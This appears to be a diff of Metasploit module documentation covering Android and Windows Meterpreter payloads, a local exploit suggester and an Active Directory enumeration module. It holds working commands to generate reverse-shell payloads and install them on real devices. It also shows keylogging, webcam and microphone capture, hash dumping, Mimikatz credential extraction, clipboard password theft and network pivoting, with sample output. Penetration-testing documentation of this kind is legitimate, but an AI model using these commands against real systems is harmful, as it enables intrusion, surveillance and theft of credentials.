[+] SMS sent - Transmission successful
```
**sms_dump**
The ```sms_dump``` command allows you to retrieve SMS messages. And save them as a text file.
For example:
```
meterpreter > dump_sms
[*] Fetching 4 sms messages
[*] SMS messages saved to: sms_dump_20160308163212.txt
...
$ cat sms_dump_20160308163212.txt
=====================
[+] SMS messages dump
=====================
Date: 2016-03-08 15:30:12 -0600
OS: Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
Remote IP: 192.168.1.207
Remote Port: 59130
#1
Type : Incoming
Date : 2016-03-08 15:29:32
Address : **********
Status : NOT_RECEIVED
Message : Hello world
...
```
**run**
The ```run``` command allows you to run a post module against the remote machine at the Meterpreter
prompt. For example:
```
meterpreter > run post/android/capture/screen
```
## Scenarios
**Uploading APK to an Emulator using install_msf_apk.sh**
The Metasploit Framework comes with a script that allows you to automatically upload your APK to
an active emulator and execute it. It requires the [Android SDK platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/).
To use this, follow these steps:
1. Start the Android Emulator
2. Generate the Android payload as an APK.
3. In msfconsole, start a handler for android/meterpreter/reverse_tcp
4. Run the installer script like this from a terminal:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
```
The the script will do something like this:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
adding: META-INF/ANDROIDD.SF
adding: META-INF/ANDROIDD.RSA
signing: classes.dex
signing: AndroidManifest.xml
signing: resources.arsc
Failure
1562 KB/s (10715 bytes in 0.006s)
pkg: /data/local/tmp/android.apk
Success
rm failed for -f, Read-only file system
Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity }
```
Back in msfconsole, you should receive a session:
```
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] Starting the payload handler...
[*] Sending stage (62432 bytes) to 192.168.1.199
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.199:49178) at 2016-03-08 13:00:10 -0600
meterpreter >
```
**Uploading APK to a real Android device using install_msf_apk.sh**
On the Android device, make sure to enable Developer Options. To do this:
1. Go to Settings -> About -> Software Information
2. Tap on the Build Number section a couple of times. It should unlock Developer Options.
3. Go back to the Settings page, you should see Developer Options.
Under Developer Options, make sure to:
* Enable USB debugging
* Disable Verify apps via USB
* Open a terminal, and type: ```adb devices```. On your Android device, you should see a prompt
asking you to allow the computer for debugging, click OK on that.
* Do: ```adb devices``` again, adb should now have access.
Run the installer script like this from a terminal:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
```
And you should get a session.
**Uploading APK from a Web Server**
One way to upload an APK to Android without adb is by hosting it from a web server. To do this,
you must make sure to allow to trust "Unknown sources". The way to do this varies, but normally
it's something like this: Settings -> Security -> Check "Unknown Sources"
Once you have that changed, you'll need to:
1. Generate the APK payload.
2. Start a web server from the directory where the payload is: ```ruby -run -e httpd . -p 8181```
3. On your Android device, open a browser, and download the APK.
4. You should be able to find the APK from the Downloads folder, install it.
5. After installation, you will have to manually execute it.
**Reconnect Android Meterpreter from the Browser Remotely**
When you have the APK payload installed on your Android device, another trick to reconnect it is to
launch an intent from a browser. An intent is simply a term in Android development that means "an operation to be performed."
Here's how you do this:
1. In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job.
2. Do: ```auxiliary/server/android_browsable_msf_launch```.
3. Set the URIPATh if needed.
4. Do: ```run```. At this point, the web server should be up.
5. On your Android device, open the native web browser, and go the URL generated by the auxiliary
module.
6. The Android handler should get a session like the following demo:
```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.199
LHOST => 192.168.1.199
msf exploit(handler) > set EXITONSESSION false
EXITONSESSION => false
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.199:4444
msf exploit(handler) > [*] Starting the payload handler...
msf exploit(handler) > use auxiliary/server/android_browsable_msf_launch
msf auxiliary(android_browsable_msf_launch) > set URIPATH /test
URIPATH => /test
msf auxiliary(android_browsable_msf_launch) > run
[*] Using URL: http://0.0.0.0:8080/test
[*] Local IP: http://192.168.1.199:8080/test
[*] Server started.
[*] Sending HTML...
[*] Sending stage (62432 bytes) to 192.168.1.207
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.207:47523) at 2016-03-08 15:09:25 -0600
```

View File

@ -0,0 +1,714 @@
windows/meterpreter/reverse_tcp is one of the most powerful features the Metasploit Framework has
to offer, and there are so many things you can do with it.
It allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting,
control the webcam and microphone, etc. It has the best support for post modules, and you can
load extensions, such as mimikatz and python interpreter, etc.
windows/meterpreter/reverse_tcp is also the default payload for all Windows exploit targets.
## Vulnerable Application
This Meterpreter payload is suitable for the following environments:
* Windows x64
* Windows x86
## Verification Steps
windows/meterpreter/reverse_tcp is typically used in two different ways.
First, it is typically used as a payload for an exploit. Here's how to do that:
1. In msfconsole, select an exploit module
2. Configure the options for that exploit.
3. Do: ```set payload windows/meterpreter/reverse_tcp```
4. Set the ```LHOST``` option, which is the IP that the payload should connect to.
5. Do: ```exploit```. If the exploit is successful, it should execute that payload.
Another way to use windows/meterpreter/reverse_tcp is to generate it as an executable. Normally,
you would want to do it with msfvenom. If you are old school, you have probably also heard of
msfpayload and msfencode. msfvenom is a replacement of those.
The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp
as an executable:
```
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o /tmp/payload.exe
```
## Important Basic Commands
**pwd command**
The ```pwd``` command allows you to see the current directory you're in on the remote target.
Example:
```
meterpreter > pwd
C:\Users\user\Desktop
```
**cd command**
The ```cd``` command allows you to change directories. Example:
```
meterpreter > cd C:\\
meterpreter > pwd
C:\
```
**cat command**
The ```cat``` command allows you to see the content of a file:
```
meterpreter > cat C:\\file.txt
Hello world!
```
**upload command**
The ```upload``` command allows you to upload a file to the remote target. For example:
```
meterpreter > upload /tmp/something.txt C:\\Users\\user\\Desktop\\something.txt
[*] uploading : /tmp/something.txt -> C:\Users\user\Desktop\something.txt
[*] uploaded : /tmp/something.txt -> C:\Users\user\Desktop\something.txt
meterpreter >
```
The ```-r``` option for the command also allows you to upload recursively.
**download command**
The ```download``` command allows you download a file from the remote target to your machine.
For example:
```
meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/
[*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt
[*] download : C:\Users\user\Desktop\something.txt -> /tmp//something.txt
meterpreter >
```
The ```-r``` option for the command also allows you to download recursively.
**search command**
The ```search``` command allows you to find files on the remote file system. For example, this
demonstrates how to find all text files in the current directory:
```
meterpreter > search -d . -f *.txt
Found 1 result...
.\something.txt (5 bytes)
```
Note that without the ```-d``` option, the command will attempt to search in all drives.
The ```-r``` option for the commands allows you to search recursively.
**ifconfig command**
The ```ifconfig``` command displays the network interfaces on the remote machine:
```
meterpreter > ifconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
...
```
The command ```ipconfig``` is an alias for ```ifconfig```.
**getuid command**
The ```getuid``` command shows you the current user that the payload is running as:
```
meterpreter > getuid
Server username: WIN-6NH0Q8CJQVM\user
```
**execute command**
The ```execute``` command allows you to execute a command or file on the remote machine.
The following example will spawn a calculator:
```
meterpreter > execute -f calc.exe
Process 2076 created.
```
To pass an argument, use the ```-a``` flag:
```
meterpreter > execute -f iexplore.exe -a http://metasploit.com
Process 2016 created.
```
There are some options you can see to add more stealth. For example, you can use the ```-H``` flag
to create the process hidden from view. You can also use the ```-m``` flag to execute from memory.
**ps command**
The ```ps``` command lists the running processes on the remote machine.
**shell command**
The ```shell``` command allows you to interact with the remote machine's command prompt. Example:
```
meterpreter > shell
Process 3576 created.
Channel 6 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>
```
To switch back to Meterpreter, do [CTRL]+[Z] to background the channel.
**sysinfo command**
The ```sysinfo``` command shows you basic information about the remote machine. Example:
```
meterpreter > sysinfo
Computer : WIN-6NH0Q8CJQVM
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```
**keyscan_start**
The ```keyscan_start``` command starts the keylogging feature on the remote machine.
**keyscan_dump**
The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command
before using this. Example:
```
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
Hello World!!
```
If you wish to stop sniffing, use the ```keyscan_stop``` command.
**keyscan_stop**
The ```keyscan_stop``` command stops the keylogger.
**screenshot**
The ```screenshot``` command takes a screenshot of the target machine.
**webcam_list**
The ```webcam_list``` commands shows you a list of webcams that you can control. You'll
probably want to use this first before using any other webcam commands.
**webcam_snap**
The ```webcam_snap``` commands uses the selected webcam to take a picture.
**webcam_stream**
The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create
the streaming effect. There is no sound.
**record_mic**
The ```record_mic``` command captures audio on the remote machine.
**getsystem**
The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of
these techniques:
* Named pipe impersonation (in memory)
* Named pipe impersonation (dropper)
* Token duplication (in memory)
Example:
```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
```
**hashdump**
The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
For sxample:
```
meterpreter > hashdump
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4:::
root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2:::
```
## Scenarios
**Setting up for Testing**
For testing purposes, if you don't want to manually generate a payload and start a multi handler
repeatedly, you can use the auto_win32_multihandler.rc resource script in Metasploit to automate that process. Here's how you would use it:
First, run the resource script:
```
$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc
[*] Processing scripts/resource/auto_win32_multihandler.rc for ERB directives.
[*] resource (scripts/resource/auto_win32_multihandler.rc)> Ruby Code (776 bytes)
lhost => 192.168.1.199
lport => 4444
[*] Writing 73802 bytes to /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe...
[*] windows/meterpreter/reverse_tcp's LHOST=192.168.1.199, LPORT=4444
[*] windows/meterpreter/reverse_tcp is at /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe
payload => windows/meterpreter/reverse_tcp
lhost => 192.168.1.199
lport => 4444
exitonsession => false
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] Starting the payload handler...
msf exploit(handler) >
```
Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there.
Upload that payload to your test box and execute it. You should receive a connection.
**Using a Post Module**
One of the best things about Meterpreter is you have access to a variety of post exploitation
modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to
collect data from the remote machine automatically. For example, you can steal passwords
from popular applications and enumerate or modify system settings.
To use a post module from the Meterpreter prompt, simply use the ```run``` command:
```
meterpreter > run post/windows/gather/checkvm
[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
[*] This is a VMware Virtual Machine
meterpreter >
```
It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load
the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the
documentation.
**Using the Mimikatz Extension**
[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from memory on Windows. This might actually be the first thing you want to use as soon as you get a high-privileged session, such as SYSTEM.
To begin, load the extension:
```
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter >
```
This will create more commands for the Meterpreter prompt. Most of them are meant to be used to
retrieve user names, hashes, passwords and other information:
```
Mimikatz Commands
=================
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom command
msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds
```
An example of using the ```msv``` command:
```
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;313876 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 }
0;313828 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 }
0;996 Negotiate WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;45518 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO)
```
**Using the extapi Extension**
The main purpose of the extapi extension is to perform advanced enumeration of the target machine. For
example, you can enumerate things like registered services, open windows, clipboard, ADSI, WMI queries, etc.
To begin, at the Meterpreter prompt, do:
```
meterpreter > load extapi
Loading extension extapi...success.
meterpreter >
```
One great feature of the extension is clipboard management. The Windows clipboard is interesting
because it can store anything that is sensitive, such as files, user names, and passwords, but it is not well protected.
For example, a password manager is a popular tool to store encryped passwords. It allows the user
to create complex passwords without the need to memorize any of them. All the user needs to do is
open the password manager, retrieve the password for a particular account by copying it, and then
paste it on a login page.
There is a security problem to the above process. When the user copies the password, it is stored
in the operating system's clipboard. As an attacker, you can take advantage of this by starting the
clipboard monitor from Meterpreter/extapi, and then collect whatever the user copies.
To read whatever is currently stored in the target's clipboard, you can use the clipboard_get_data
commnad:
```
meterpreter > clipboard_get_data
Text captured at 2016-03-05 19:13:39.0170
=========================================
hello, world!!
=========================================
meterpreter >
```
The limitation of this command is that since you're only grabbing whatever is in the clipboard at
the time, there is only one item to collect. However, when you start a monitor, you can collect
whatever goes in there. To start, issue the following command:
```
meterpreter > clipboard_monitor_start
[+] Clipboard monitor started
meterpreter >
```
While it is monitoring, you can ask Meterpreter to dump whatever's been captured.
```
meterpreter > clipboard_monitor_dump
Text captured at 2016-03-05 19:18:18.0466
=========================================
this is fun.
=========================================
Files captured at 2016-03-05 19:20:07.0525
==========================================
Remote Path : C:\Users\user\Desktop\cat_pic.png
File size : 37627 bytes
downloading : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
download : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
==========================================
[+] Clipboard monitor dumped
meterpreter >
```
The ```clipboard_monitor_stop``` command will also dump the captured data, and then exit.
Combined with Meterpreter's keylogger, you have a very effective setup to capture the user's
inputs.
**Using the Python Extension**
The Python extension allows you to use the remote machine's Python interpreter.
To load the extension, at the Meterpreter prompt, do:
```
meterpreter > use python
Loading extension python...success.
```
The most basic example of using the interpreter is the ```python_execute``` command:
```
meterpreter > python_execute "x = 'hello world'; print x"
[+] Content written to stdout:
hello world
meterpreter >
```
Another way to execute Python code is from a local file by using the ```python_import``` command.
To do this, first prepare for a Python script. This example should create a message.txt on the
remote machine's desktop:
```python
import os
user_profile = os.environ['USERPROFILE']
f = open(user_profile + '\\Desktop\\message.txt', 'w+')
f.write('hello world!')
f.close()
```
And to run that with the command:
```
meterpreter > python_import -f /tmp/test.py
[*] Importing /tmp/test.py ...
[+] Command executed without returning a result
meterpreter >
```
To learn more about the Python extension, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/Python-Extension).
**Network Pivoting**
There are three mains ways that you can use for moving around inside a network:
- The route command in the msf prompt
- The route command in the the Meterpreter prompt
- The portfwd command
***Routing through msfconsole***
The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig:
```
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.201:49182) at 2016-03-04 20:35:31 -0600
meterpreter > ipconfig
...
Interface 10
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:86:4b:0d
MTU : 1472
IPv4 Address : 192.168.1.201
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2602:30a:2c51:e660::20
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : 2602:30a:2c51:e660:44a:576e:3d2c:d765
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : 2602:30a:2c51:e660:94be:567f:4fe7:5da7
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::44a:576e:3d2c:d765
IPv6 Netmask : ffff:ffff:ffff:ffff::
...
Interface 26
============
Name : VPN
Hardware MAC : 00:00:00:00:00:00
MTU : 1400
IPv4 Address : 192.100.0.100
IPv4 Netmask : 255.255.255.255
...
```
The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A.
At the msf prompt, do:
```
msf exploit(handler) > route add 192.100.0.0 255.255.255.0 1
[*] Route added
```
The ```1``` at the end of the route indicates the session ID, the payload that is used as a gateway to talk to other machines.
So right now, we have a connection established to the VPN, and we should be able to connect to another machine from that network:
```
msf auxiliary(smb_version) > run
[*] 192.100.0.101:445 - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_version) >
```
Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB.
***Routing through Meterpreter***
The route command in Meterpreter allows you change the routing table that is on the target machine. The way it needs to be configured is similar to the route command in msfconsole.
***Routing through the portfwd command***
The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:
```
meterpreter > portfwd add l 3389 p 3389 r > target host >
```
And that should allow you to connect to remote desktop this way on the attacker's box:
```
rdesktop 127.0.0.1
```
**Meterpreter Paranoid Mode**
The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to it, hence the name "paranoid mode".
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode).
**Meterpreter Reliable Network Communication**
Exiting Metasploit using ```exit -y``` no longer terminates the payload session like it used to. Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when an appropriate handler is available. If you wish to exit the session, make sure to ```sessions -K``` first.
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication).
**Meterpreter Sleep Control**
The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication. It also provides better efficiency.
It is very simple to use. At the Meterpreter prompt, simply do:
```
meterpreter > sleep 20
```
And that will allow Meterpreter to sleep 20 seconds, and will reconnect.
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
**Meterpreter Stageless Mode**
A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test. To learn more about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more.
To use the stageless payload, use ```windows/meterpreter_reverse_tcp``` instead.
**Meterpreter Timeout Control**
The timeout control basically defines the life span of Meterpreter. To configure it, use the
```set_timeouts``` command:
```
meterpreter > set_timeouts
Usage: set_timeouts [options]
Set the current timeout options.
Any or all of these can be set at once.
OPTIONS:
-c <opt> Comms timeout (seconds)
-h Help menu
-t <opt> Retry total time (seconds)
-w <opt> Retry wait time (seconds)
-x <opt> Expiration timout (seconds)
```
To see the current timeout configuration, you can use the ```get_timeouts``` command:
```
meterpreter > get_timeouts
Session Expiry : @ 2016-03-11 21:15:58
Comm Timeout : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds
```
To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control).
**Meterpreter Transport Control**
Transport Control allows you manage transports on the fly while the payload session is still running. Meterpreter can automatically cycle through the transports when communication fails, or you can do it manually.
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
## Using the Post Exploitation API in IRB
To enter IRB, do the following at the Meterpreter prompt:
```
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>
```
**The client object**
The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as:
```ruby
>> client.sys.config.getuid
```
To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
```
>> client.inspect
```
You can use the #methods method to see what methods you can use:
```
>> client.methods
```
To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method:
```
>> client.sys.config.method(:getuid).source_location
=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
```
The first element of the array is the location of the file. The second element is the line number of the method.
**Using Railgun**
Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do:
```
>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
```
To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation).

View File

@ -0,0 +1,31 @@
The Local Exploit Suggester is a post-exploitation module that you can use to check a system for local vulnerabilities. It performs local exploit checks; it does not actually run any exploits, which is useful because this means you to scan a system without being intrusive. In addition to being stealthy, it's a time saver. You don't have to manually search for local exploits that will work; it'll show you which exploits the target is vulnerable to based on the system's platform and architecture.
The Local Exploit Suggester is available for Python, PHP, and Windows Meterpreter.
## Vulnerable Application
To use the Local Exploit Suggester:
* You must have an open Meterpreter session.
## Verification Steps
Please see the Overview section.
##Options
You can set the following options for the Local Exploit Suggester:
* **showdescription** - Set this option to true to see more details about each exploit.
## Scenarios
When the Local Exploit Suggester runs, it displays a list of local exploits that the target may be vulnerable to, and it tells you the likelihood of exploitation.
The following terms are used to help you understand how vulnerable a target is to a particular exploit:
* **Vulnerable** - Indicates that the target is vulnerable.
* **Appears** - Indicates that the target may be vulnerable based on the file version, but the vulnerable code has not been tested.
* **Detected** - Indicates that the target has the file, but it cannot be determined whether or not the target is vulnerable.

View File

@ -0,0 +1,521 @@
This is a post exploitation module which has the effect of copying the AD groups, user membership
(taking into account nested groups), user information and computers to a local SQLite database.
This is particularly useful for red teaming and simulated attack engagements because it offers
the ability to gain situational awareness of the target's domain completely offline. Examples of
queries that can be run locally include:
* Identification of members in a particular group (e.g. 'Domain Admins'), taking into account
members of nested groups.
* Organizational hierarchy information (if the manager LDAP attribute is used).
* Ability to determine group membership and user membership (e.g. 'What groups are these users a
member of?', 'What users are members of these groups?', 'List all members who are effectively
members of the Domain Admins group who are not disabled' etc)
* Expansion of the userAccountControl and sAMAccountType variables for querying ease.
* Generation of a list of DNS hostnames, computer names, operating system versions etc of each
domain joined computer.
* Identification of security groups that have managers.
* Exporting anything above in different formats, including those which can be imported into
other tools.
## Mechanism
This module makes heavy usage of ADSI and performs the following basic steps:
**User and group acquisition**
* Perform an ADSI query to list all active directory groups and store them in the local ad_groups
table (parsing attributes which contain flags).
* Loop through them and, for each group, launch another LDAP query to list the effective members of
the group (using the LDAP_MATCHING_RULE_IN_CHAIN OID). The effect is that it will reveal all
effective members of that group, even if they are not direct members of the group.
* For each user, perform another query to obtain user specific attributes and insert them into the
local ad_users table.
* Insert a new row into the ad_mapping table associating the user RID with the group RID.
**Computer acquisition**
* Perform an ADSI query to list all computers in the domain.
* Parse any attributes containing flags (userAccountControl, sAMAccountType) and insert them into
the local ad_computers table.
## Module Specific Options
Option | Purpose
--------------- | --------
GROUP_FILTER | Additional LDAP filters to apply when building the initial list of groups.
SHOW_COMPUTERS | If set to TRUE, this will write a line-by-line list of computers, in the format: ```Computer [Name][DNS][RID]``` to the console. For example: ```Computer [W2K8DC][W2K8DC.goat.stu][1000]```
SHOW_USERGROUPS | If set to TRUE, this will write a line-by-line list of user to group memberships, in the format: ```Group [Group Name][Group RID] has member [Username][User RID]```. For example: ```Group [Domain Users][513] has member [it.director][1132]```. This can be used mainly for progress, but it may be simpler to cat and grep for basic queries. However, the real power of this module comes from the ability to rapidly perform queries against the SQLite database.
## SQLite Database
**Construction**
The following tables will be present in the local SQLite database. The ad_* tables use the RID of
the user, computer or group as the primary key, and the view_mapping table effectively joins the
ad_mapping table with ad_users.* and ad_groups.* by RID.
Note that the purpose of the less obvious flags is documented in the source code, along with
references to MSDN and Technet where appropriate, so this can be easily looked up during an
engagement without needing to refer to this page.
Table Name | Purpose
------------ | --------
ad_computers | Information on each of the domain joined computers.
ad_users | Information on each of the domain users.
ad_groups | Information on each of the active directory groups.
ad_mapping | Links the users table to the groups table (i.e. can be used to show which users are effectively members of which groups).
view_mapping | Joins the ad_mapping table to the ad_users and ad_groups table, provided for convenience. This will be the table that most queries will be run against.
Within each table, the naming convention for the columns is to prefix anything in the
ad_computers table with c_, anything in the ad_users table with u_ and anything in the
ad_groups table with g_. This convention makes the joins between tables much more intuitive.
**ad_computers**
The table below shows the columns in the ad_computers table. The fields in capitals at the end
(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to
provide an easy way to perform the queries against individual flags.
Column Name | Type | Purpose
------------------------------------------------ | ------- | --------
c_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
c_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
c_cn | TEXT | The name that represents an object. Used to perform searches.
c_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
c_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
c_dNSHostName | TEXT | The name of computer, as registered in DNS.
c_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name.
c_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown.
c_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [Use-Account-Control attribute](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below.
c_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group.
c_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
c_description | TEXT | Contains the description to display for an object.
c_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
c_operatingSystem | TEXT | The Operating System name, for example, Windows Vista Enterprise.
c_operatingSystemServicePack | TEXT | The operating system service pack ID string (for example, SP3).
c_operatingSystemVersion | TEXT | The operating system version string, for example, 4.0.
c_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
c_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
c_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed.
c_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled.
c_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required.
c_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out.
c_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required.
c_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password.
c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password.
c_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account.
c_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user.
c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains.
c_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain.
c_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain.
c_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire.
c_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account.
c_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card.
